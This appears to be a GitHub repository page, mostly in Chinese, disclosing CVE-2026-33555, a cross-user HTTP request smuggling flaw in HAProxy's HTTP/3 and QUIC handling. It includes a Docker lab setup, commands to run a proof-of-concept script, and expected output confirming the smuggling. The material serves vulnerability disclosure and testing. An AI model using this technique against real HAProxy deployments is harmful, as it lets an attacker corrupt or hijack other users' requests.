r3verii/CVE-2026-33555
GitHub: r3verii/CVE-2026-33555
揭示 HAProxy QUIC/H3 中的零字节请求走私漏洞,演示如何通过畸形 FIN 包跨用户劫持请求。
Stars: 0 | Forks: 0
# 通过 HAProxy H3/QUIC 独立 FIN 报文体验证旁路实现的 HTTP 请求走私
## 摘要
HAProxy HTTP/3 实现中的一个漏洞允许攻击者发送一个带有 `Content-Length` 头的 HTTP 请求,该头的值与实际报文体大小不匹配。HAProxy 会将这个畸形请求通过 HTTP/1.1 转发到后端,并使用声明的 `Content-Length` 但报文体字节数为零。当后端发送一个早期响应(例如 301 重定向)并从 TCP 连接中读取待处理的报文体时,它会消耗属于**下一个** HTTP 请求的字节——这些字节可能来自不同的用户。
这导致通过 HAProxy 的后端连接池实现**跨用户 HTTP 请求走私**。
**受影响**:启用 QUIC/H3 支持的 HAProxy(`USE_QUIC=1`)。测试于 HAProxy 3.0.18。
**所需配置**:`http-reuse always`(非默认配置,但在生产环境中常见)
### 实验环境搭建
包含 3 个服务的 Docker Compose 配置:
- **haproxy**:H3/QUIC 前端(端口 10002/udp)+ H2/TCP(端口 10002/tcp),后端连接池(`http-reuse always`)
- **nginx**:启用 `autoindex on` 的 nginx 1.27,`/photos` 目录提供文件列表,`/status` 返回 200
- **client**:运行 aioquic 的 Python 容器
### 步骤
```
# 1. Start the lab (HAProxy build takes ~10 min first time)
cd poc/
docker compose up -d --build
# 2. Run the PoC in continuous mode
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --interval 3
# 3. From a browser, navigate to https://:10002/status
# (accept self-signed cert, use --ignore-certificate-errors in Chrome)
# Refresh repeatedly. ~50% of responses will be 400 Bad Request.
# 4. Stop the PoC (Ctrl+C). All browser responses return to normal (200).
```
### 单次验证
```
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --once
```
预期输出:
```
[1] Sending poison request (H3/QUIC)...
-> 301 received. Backend connection pooled with pending body drain.
[2] Waiting 0.5s for HAProxy to pool the connection...
[3] Sending victim GET /status from SEPARATE QUIC connection...
-> Response: HTTP 400
[!] SMUGGLING CONFIRMED
[!] Victim on separate connection got 400 instead of 200
[!] Backend parsed victim's request as body of poison POST
```
标签:aioquic, Docker Compose, FIN体验证绕过, H3, HAProxy, HTTP/3, HTTP请求走私, PoC, QUIC, SEO关键词, 内容长度混淆, 前端协议不同, 协议混淆, 后端连接池, 暴力破解, 版权保护, 网络安全漏洞, 请求走私, 跨用户攻击, 逆向工具, 零字节QUIC包